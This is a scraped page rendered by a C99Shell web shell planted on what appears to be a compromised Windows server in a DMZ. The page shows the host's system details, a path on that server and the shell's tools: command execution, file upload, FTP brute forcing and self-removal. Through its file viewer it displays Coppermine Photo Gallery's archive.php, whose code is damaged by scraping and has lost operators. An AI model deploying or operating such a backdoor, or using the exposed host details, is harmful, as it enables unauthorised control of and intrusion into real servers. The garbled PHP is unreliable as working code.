!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\AmbienteBogota\cpg1418\include\   drwxrwxrwx
Free 4.13 GB of 39.52 GB (10.45%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     archive.php (22.06 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*************************
  Coppermine Photo Gallery
  ************************
  Copyright (c) 2003-2008 Dev Team
  v1.1 originally written by Gregory DEMAR

  This program is free software; you can redistribute it and/or modify
  it under the terms of the GNU General Public License version 3
  as published by the Free Software Foundation.
  
  ********************************************
  Coppermine version: 1.4.18
  $HeadURL: https://coppermine.svn.sourceforge.net/svnroot/coppermine/trunk/cpg1.4.x/include/archive.php $
  $Revision: 4380 $
  $Author: gaugau $
  $Date: 2008-04-12 12:00:19 +0200 (Sa, 12 Apr 2008) $
**********************************************/

/*--------------------------------------------------
 | TAR/GZIP/BZIP2/ZIP ARCHIVE CLASSES 2.1
 | By Devin Doucette
 | Copyright (c) 2005 Devin Doucette
 | Email: darksnoopy@shaw.ca
 +--------------------------------------------------
 | Email bugs/suggestions to darksnoopy@shaw.ca
 +--------------------------------------------------
 | This script has been created and released under
 | the GNU GPL and is free to use and redistribute
 | only if this copyright statement is not removed
 +--------------------------------------------------*/

class archive
{
  function 
archive($name)
  {
    
$this->options = array (
      
'basedir' => ".",
      
'name' => $name,
      
'prepend' => "",
      
'inmemory' => 0,
      
'overwrite' => 0,
      
'recurse' => 1,
      
'storepaths' => 1,
      
'followlinks' => 0,
      
'level' => 3,
      
'method' => 1,
      
'sfx' => "",
      
'type' => "",
      
'comment' => ""
    
);
    
$this->files = array ();
    
$this->exclude = array ();
    
$this->storeonly = array ();
    
$this->error = array ();
  }

  function 
set_options($options)
  {
    foreach (
$options as $key => $value)
      
$this->options[$key] = $value;
    if (!empty (
$this->options['basedir']))
    {
      
$this->options['basedir'] = str_replace("\\""/"$this->options['basedir']);
      
$this->options['basedir'] = preg_replace("/\/+/""/"$this->options['basedir']);
      
$this->options['basedir'] = preg_replace("/\/$/"""$this->options['basedir']);
    }
    if (!empty (
$this->options['name']))
    {
      
$this->options['name'] = str_replace("\\""/"$this->options['name']);
      
$this->options['name'] = preg_replace("/\/+/""/"$this->options['name']);
    }
    if (!empty (
$this->options['prepend']))
    {
      
$this->options['prepend'] = str_replace("\\""/"$this->options['prepend']);
      
$this->options['prepend'] = preg_replace("/^(\.*\/+)+/"""$this->options['prepend']);
      
$this->options['prepend'] = preg_replace("/\/+/""/"$this->options['prepend']);
      
$this->options['prepend'] = preg_replace("/\/$/"""$this->options['prepend']) . "/";
    }
  }

  function 
create_archive()
  {
    
$this->make_list();

    if (
$this->options['inmemory'] == 0)
    {
      
$pwd getcwd();
      
chdir($this->options['basedir']);
      if (
$this->options['overwrite'] == && file_exists($this->options['name'] . ($this->options['type'] == "gzip" || $this->options['type'] == "bzip" ".tmp" "")))
      {
        
$this->error[] = "File {$this->options['name']} already exists.";
        
chdir($pwd);
        return 
0;
      }
      else if (
$this->archive = @fopen($this->options['name'] . ($this->options['type'] == "gzip" || $this->options['type'] == "bzip" ".tmp" ""), "wb+"))
        
chdir($pwd);
      else
      {
        
$this->error[] = "Could not open {$this->options['name']} for writing.";
        
chdir($pwd);
        return 
0;
      }
    }
    else
      
$this->archive "";

    switch (
$this->options['type'])
    {
    case 
"zip":
      if (!
$this->create_zip())
      {
        
$this->error[] = "Could not create zip file.";
        return 
0;
      }
      break;
    case 
"bzip":
      if (!
$this->create_tar())
      {
        
$this->error[] = "Could not create tar file.";
        return 
0;
      }
      if (!
$this->create_bzip())
      {
        
$this->error[] = "Could not create bzip2 file.";
        return 
0;
      }
      break;
    case 
"gzip":
      if (!
$this->create_tar())
      {
        
$this->error[] = "Could not create tar file.";
        return 
0;
      }
      if (!
$this->create_gzip())
      {
        
$this->error[] = "Could not create gzip file.";
        return 
0;
      }
      break;
    case 
"tar":
      if (!
$this->create_tar())
      {
        
$this->error[] = "Could not create tar file.";
        return 
0;
      }
    }

    if (
$this->options['inmemory'] == 0)
    {
      
fclose($this->archive);
      if (
$this->options['type'] == "gzip" || $this->options['type'] == "bzip")
        
unlink($this->options['basedir'] . "/" $this->options['name'] . ".tmp");
    }
  }

  function 
add_data($data)
  {
    if (
$this->options['inmemory'] == 0)
      
fwrite($this->archive$data);
    else
      
$this->archive .= $data;
  }

  function 
make_list()
  {
    if (!empty (
$this->exclude))
      foreach (
$this->files as $key => $value)
        foreach (
$this->exclude as $current)
          if (
$value['name'] == $current['name'])
            unset (
$this->files[$key]);
    if (!empty (
$this->storeonly))
      foreach (
$this->files as $key => $value)
        foreach (
$this->storeonly as $current)
          if (
$value['name'] == $current['name'])
            
$this->files[$key]['method'] = 0;
    unset (
$this->exclude$this->storeonly);
  }

  function 
add_files($list)
  {
    
$temp $this->list_files($list);
    foreach (
$temp as $current)
      
$this->files[] = $current;
  }

  function 
exclude_files($list)
  {
    
$temp $this->list_files($list);
    foreach (
$temp as $current)
      
$this->exclude[] = $current;
  }

  function 
store_files($list)
  {
    
$temp $this->list_files($list);
    foreach (
$temp as $current)
      
$this->storeonly[] = $current;
  }

  function 
list_files($list)
  {
    if (!
is_array ($list))
    {
      
$temp $list;
      
$list = array ($temp);
      unset (
$temp);
    }

    
$files = array ();

    
$pwd getcwd();
    
chdir($this->options['basedir']);

    foreach (
$list as $current)
    {
      
$current str_replace("\\""/"$current);
      
$current preg_replace("/\/+/""/"$current);
      
$current preg_replace("/\/$/"""$current);
      if (
strstr($current"*"))
      {
        
$regex preg_replace("/([\\\^\$\.\[\]\|\(\)\?\+\{\}\/])/""\\\\\\1"$current);
        
$regex str_replace("*"".*"$regex);
        
$dir strstr($current"/") ? substr($current0strrpos($current"/")) : ".";
        
$temp $this->parse_dir($dir);
        foreach (
$temp as $current2)
          if (
preg_match("/^{$regex}$/i"$current2['name']))
            
$files[] = $current2;
        unset (
$regex$dir$temp$current);
      }
      else if (@
is_dir($current))
      {
        
$temp $this->parse_dir($current);
        foreach (
$temp as $file)
          
$files[] = $file;
        unset (
$temp$file);
      }
      else if (@
file_exists($current))
        
$files[] = array ('name' => $current'name2' => $this->options['prepend'] .
          
preg_replace("/(\.+\/+)+/""", ($this->options['storepaths'] == && strstr($current"/")) ?
          
substr($currentstrrpos($current"/") + 1) : $current),
          
'type' => @is_link($current) && $this->options['followlinks'] == 0,
          
'ext' => substr($currentstrrpos($current".")), 'stat' => stat($current));
    }

    
chdir($pwd);

    unset (
$current$pwd);

    
usort($files, array ("archive""sort_files"));

    return 
$files;
  }

  function 
parse_dir($dirname)
  {
    if (
$this->options['storepaths'] == && !preg_match("/^(\.+\/*)+$/"$dirname))
      
$files = array (array ('name' => $dirname'name2' => $this->options['prepend'] .
        
preg_replace("/(\.+\/+)+/""", ($this->options['storepaths'] == && strstr($dirname"/")) ?
        
substr($dirnamestrrpos($dirname"/") + 1) : $dirname), 'type' => 5'stat' => stat($dirname)));
    else
      
$files = array ();
    
$dir = @opendir($dirname);

    while (
$file = @readdir($dir))
    {
      
$fullname $dirname "/" $file;
      if (
$file == "." || $file == "..")
        continue;
      else if (@
is_dir($fullname))
      {
        if (empty (
$this->options['recurse']))
          continue;
        
$temp $this->parse_dir($fullname);
        foreach (
$temp as $file2)
          
$files[] = $file2;
      }
      else if (@
file_exists($fullname))
        
$files[] = array ('name' => $fullname'name2' => $this->options['prepend'] .
          
preg_replace("/(\.+\/+)+/""", ($this->options['storepaths'] == && strstr($fullname"/")) ?
          
substr($fullnamestrrpos($fullname"/") + 1) : $fullname),
          
'type' => @is_link($fullname) && $this->options['followlinks'] == 0,
          
'ext' => substr($filestrrpos($file".")), 'stat' => stat($fullname));
    }

    @
closedir($dir);

    return 
$files;
  }

  function 
sort_files($a$b)
  {
    if (
$a['type'] != $b['type'])
      if (
$a['type'] == || $b['type'] == 2)
        return -
1;
      else if (
$a['type'] == || $b['type'] == 5)
        return 
1;
    else if (
$a['type'] == 5)
      return 
strcmp(strtolower($a['name']), strtolower($b['name']));
    else if (
$a['ext'] != $b['ext'])
      return 
strcmp($a['ext'], $b['ext']);
    else if (
$a['stat'][7] != $b['stat'][7])
      return 
$a['stat'][7] > $b['stat'][7] ? -1;
    else
      return 
strcmp(strtolower($a['name']), strtolower($b['name']));
    return 
0;
  }

  function 
download_file()
  {
    if (
$this->options['inmemory'] == 0)
    {
      
$this->error[] = "Can only use download_file() if archive is in memory. Redirect to file otherwise, it is faster.";
      return;
    }
    switch (
$this->options['type'])
    {
    case 
"zip":
      
header("Content-Type: application/zip");
      break;
    case 
"bzip":
      
header("Content-Type: application/x-bzip2");
      break;
    case 
"gzip":
      
header("Content-Type: application/x-gzip");
      break;
    case 
"tar":
      
header("Content-Type: application/x-tar");
    }
    
$header "Content-Disposition: attachment; filename=\"";
    
$header .= strstr($this->options['name'], "/") ? substr($this->options['name'], strrpos($this->options['name'], "/") + 1) : $this->options['name'];
    
$header .= "\"";
    
header($header);
    
header("Content-Length: " strlen($this->archive));
    
header("Content-Transfer-Encoding: binary");
    
header("Cache-Control: no-cache, must-revalidate, max-age=60");
    
header("Expires: Sat, 01 Jan 2000 12:00:00 GMT");
    print(
$this->archive);
  }
}

class 
tar_file extends archive
{
  function 
tar_file($name)
  {
    
$this->archive($name);
    
$this->options['type'] = "tar";
  }

  function 
create_tar()
  {
    
$pwd getcwd();
    
chdir($this->options['basedir']);

    foreach (
$this->files as $current)
    {
      if (
$current['name'] == $this->options['name'])
        continue;
      if (
strlen($current['name2']) > 99)
      {
        
$path substr($current['name2'], 0strpos($current['name2'], "/"strlen($current['name2']) - 100) + 1);
        
$current['name2'] = substr($current['name2'], strlen($path));
        if (
strlen($path) > 154 || strlen($current['name2']) > 99)
        {
          
$this->error[] = "Could not add {$path}{$current['name2']} to archive because the filename is too long.";
          continue;
        }
      }
      
$block pack("a100a8a8a8a12a12a8a1a100a6a2a32a32a8a8a155a12"$current['name2'], sprintf("%07o",
        
$current['stat'][2]), sprintf("%07o"$current['stat'][4]), sprintf("%07o"$current['stat'][5]),
        
sprintf("%011o"$current['type'] == $current['stat'][7]), sprintf("%011o"$current['stat'][9]),
        
"        "$current['type'], $current['type'] == ? @readlink($current['name']) : """ustar "" ",
        
"Unknown""Unknown""""", !empty ($path) ? $path """");

      
$checksum 0;
      for (
$i 0$i 512$i++)
        
$checksum += ord(substr($block$i1));
      
$checksum pack("a8"sprintf("%07o"$checksum));
      
$block substr_replace($block$checksum1488);

      if (
$current['type'] == || $current['stat'][7] == 0)
        
$this->add_data($block);
      else if (
$fp = @fopen($current['name'], "rb"))
      {
        
$this->add_data($block);
        while (
$temp fread($fp1048576))
          
$this->add_data($temp);
        if (
$current['stat'][7] % 512 0)
        {
          
$temp "";
          for (
$i 0$i 512 $current['stat'][7] % 512$i++)
            
$temp .= "\0";
          
$this->add_data($temp);
        }
        
fclose($fp);
      }
      else
        
$this->error[] = "Could not open file {$current['name']} for reading. It was not added.";
    }

    
$this->add_data(pack("a1024"""));

    
chdir($pwd);

    return 
1;
  }

  function 
extract_files()
  {
    
$pwd getcwd();
    
chdir($this->options['basedir']);

    if (
$fp $this->open_archive())
    {
      if (
$this->options['inmemory'] == 1)
        
$this->files = array ();

      while (
$block fread($fp512))
      {
        
$temp unpack("a100name/a8mode/a8uid/a8gid/a12size/a12mtime/a8checksum/a1type/a100symlink/a6magic/a2temp/a32temp/a32temp/a8temp/a8temp/a155prefix/a12temp"$block);
        
$file = array (
          
'name' => $temp['prefix'] . $temp['name'],
          
'stat' => array (
            
=> $temp['mode'],
            
=> octdec($temp['uid']),
            
=> octdec($temp['gid']),
            
=> octdec($temp['size']),
            
=> octdec($temp['mtime']),
          ),
          
'checksum' => octdec($temp['checksum']),
          
'type' => $temp['type'],
          
'magic' => $temp['magic'],
        );
        if (
$file['checksum'] == 0x00000000)
          break;
        else if (
substr($file['magic'], 05) != "ustar")
        {
          
$this->error[] = "This script does not support extracting this type of tar file.";
          break;
        }
        
$block substr_replace($block"        "1488);
        
$checksum 0;
        for (
$i 0$i 512$i++)
          
$checksum += ord(substr($block$i1));
        if (
$file['checksum'] != $checksum)
          
$this->error[] = "Could not extract from {$this->options['name']}, it is corrupt.";

        if (
$this->options['inmemory'] == 1)
        {
          
$file['data'] = fread($fp$file['stat'][7]);
          
fread($fp, (512 $file['stat'][7] % 512) == 512 : (512 $file['stat'][7] % 512));
          unset (
$file['checksum'], $file['magic']);
          
$this->files[] = $file;
        }
        else if (
$file['type'] == 5)
        {
          if (!
is_dir($file['name']))
            
mkdir($file['name'], $file['stat'][2]);
        }
        else if (
$this->options['overwrite'] == && file_exists($file['name']))
        {
          
$this->error[] = "{$file['name']} already exists.";
          continue;
        }
        else if (
$file['type'] == 2)
        {
          
symlink($temp['symlink'], $file['name']);
          
chmod($file['name'], $file['stat'][2]);
        }
        else if (
$new = @fopen($file['name'], "wb"))
        {
          
fwrite($newfread($fp$file['stat'][7]));
          
fread($fp, (512 $file['stat'][7] % 512) == 512 : (512 $file['stat'][7] % 512));
          
fclose($new);
          
chmod($file['name'], $file['stat'][2]);
        }
        else
        {
          
$this->error[] = "Could not open {$file['name']} for writing.";
          continue;
        }
        
chown($file['name'], $file['stat'][4]);
        
chgrp($file['name'], $file['stat'][5]);
        
touch($file['name'], $file['stat'][9]);
        unset (
$file);
      }
    }
    else
      
$this->error[] = "Could not open file {$this->options['name']}";

    
chdir($pwd);
  }

  function 
open_archive()
  {
    return @
fopen($this->options['name'], "rb");
  }
}

class 
gzip_file extends tar_file
{
  function 
gzip_file($name)
  {
    
$this->tar_file($name);
    
$this->options['type'] = "gzip";
  }

  function 
create_gzip()
  {
    if (
$this->options['inmemory'] == 0)
    {
      
$pwd getcwd();
      
chdir($this->options['basedir']);
      if (
$fp gzopen($this->options['name'], "wb{$this->options['level']}"))
      {
        
fseek($this->archive0);
        while (
$temp fread($this->archive1048576))
          
gzwrite($fp$temp);
        
gzclose($fp);
        
chdir($pwd);
      }
      else
      {
        
$this->error[] = "Could not open {$this->options['name']} for writing.";
        
chdir($pwd);
        return 
0;
      }
    }
    else
      
$this->archive gzencode($this->archive$this->options['level']);

    return 
1;
  }

  function 
open_archive()
  {
    return @
gzopen($this->options['name'], "rb");
  }
}

class 
bzip_file extends tar_file
{
  function 
bzip_file($name)
  {
    
$this->tar_file($name);
    
$this->options['type'] = "bzip";
  }

  function 
create_bzip()
  {
    if (
$this->options['inmemory'] == 0)
    {
      
$pwd getcwd();
      
chdir($this->options['basedir']);
      if (
$fp bzopen($this->options['name'], "wb"))
      {
        
fseek($this->archive0);
        while (
$temp fread($this->archive1048576))
          
bzwrite($fp$temp);
        
bzclose($fp);
        
chdir($pwd);
      }
      else
      {
        
$this->error[] = "Could not open {$this->options['name']} for writing.";
        
chdir($pwd);
        return 
0;
      }
    }
    else
      
$this->archive bzcompress($this->archive$this->options['level']);

    return 
1;
  }

  function 
open_archive()
  {
    return @
bzopen($this->options['name'], "rb");
  }
}

class 
zip_file extends archive
{
  function 
zip_file($name)
  {
    
$this->archive($name);
    
$this->options['type'] = "zip";
  }

  function 
create_zip()
  {
    
$files 0;
    
$offset 0;
    
$central "";

    if (!empty (
$this->options['sfx']))
      if (
$fp = @fopen($this->options['sfx'], "rb"))
      {
        
$temp fread($fpfilesize($this->options['sfx']));
        
fclose($fp);
        
$this->add_data($temp);
        
$offset += strlen($temp);
        unset (
$temp);
      }
      else
        
$this->error[] = "Could not open sfx module from {$this->options['sfx']}.";

    
$pwd getcwd();
    
chdir($this->options['basedir']);

    foreach (
$this->files as $current)
    {
      if (
$current['name'] == $this->options['name'])
        continue;

      
$timedate explode(" "date("Y n j G i s"$current['stat'][9]));
      
$timedate = ($timedate[0] - 1980 << 25) | ($timedate[1] << 21) | ($timedate[2] << 16) |
        (
$timedate[3] << 11) | ($timedate[4] << 5) | ($timedate[5]);

      
$block pack("VvvvV"0x04034b500x000A0x0000, (isset($current['method']) || $this->options['method'] == 0) ? 0x0000 0x0008$timedate);

      if (
$current['stat'][7] == && $current['type'] == 5)
      {
        
$block .= pack("VVVvv"0x000000000x000000000x00000000strlen($current['name2']) + 10x0000);
        
$block .= $current['name2'] . "/";
        
$this->add_data($block);
        
$central .= pack("VvvvvVVVVvvvvvVV"0x02014b500x0014$this->options['method'] == 0x0000 0x000A0x0000,
          (isset(
$current['method']) || $this->options['method'] == 0) ? 0x0000 0x0008$timedate,
          
0x000000000x000000000x00000000strlen($current['name2']) + 10x00000x00000x00000x0000$current['type'] == 0x00000010 0x00000000$offset);
        
$central .= $current['name2'] . "/";
        
$files++;
        
$offset += (31 strlen($current['name2']));
      }
      else if (
$current['stat'][7] == 0)
      {
        
$block .= pack("VVVvv"0x000000000x000000000x00000000strlen($current['name2']), 0x0000);
        
$block .= $current['name2'];
        
$this->add_data($block);
        
$central .= pack("VvvvvVVVVvvvvvVV"0x02014b500x0014$this->options['method'] == 0x0000 0x000A0x0000,
          (isset(
$current['method']) || $this->options['method'] == 0) ? 0x0000 0x0008$timedate,
          
0x000000000x000000000x00000000strlen($current['name2']), 0x00000x00000x00000x0000$current['type'] == 0x00000010 0x00000000$offset);
        
$central .= $current['name2'];
        
$files++;
        
$offset += (30 strlen($current['name2']));
      }
      else if (
$fp = @fopen($current['name'], "rb"))
      {
        
$temp fread($fp$current['stat'][7]);
        
fclose($fp);
        
$crc32 crc32($temp);
        if (!isset(
$current['method']) && $this->options['method'] == 1)
        {
          
$temp gzcompress($temp$this->options['level']);
          
$size strlen($temp) - 6;
          
$temp substr($temp2$size);
        }
        else
          
$size strlen($temp);
        
$block .= pack("VVVvv"$crc32$size$current['stat'][7], strlen($current['name2']), 0x0000);
        
$block .= $current['name2'];
        
$this->add_data($block);
        
$this->add_data($temp);
        unset (
$temp);
        
$central .= pack("VvvvvVVVVvvvvvVV"0x02014b500x0014$this->options['method'] == 0x0000 0x000A0x0000,
          (isset(
$current['method']) || $this->options['method'] == 0) ? 0x0000 0x0008$timedate,
          
$crc32$size$current['stat'][7], strlen($current['name2']), 0x00000x00000x00000x00000x00000000$offset);
        
$central .= $current['name2'];
        
$files++;
        
$offset += (30 strlen($current['name2']) + $size);
      }
      else
        
$this->error[] = "Could not open file {$current['name']} for reading. It was not added.";
    }

    
$this->add_data($central);

    
$this->add_data(pack("VvvvvVVv"0x06054b500x00000x0000$files$filesstrlen($central), $offset,
      !empty (
$this->options['comment']) ? strlen($this->options['comment']) : 0x0000));

    if (!empty (
$this->options['comment']))
      
$this->add_data($this->options['comment']);

    
chdir($pwd);

    return 
1;
  }
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--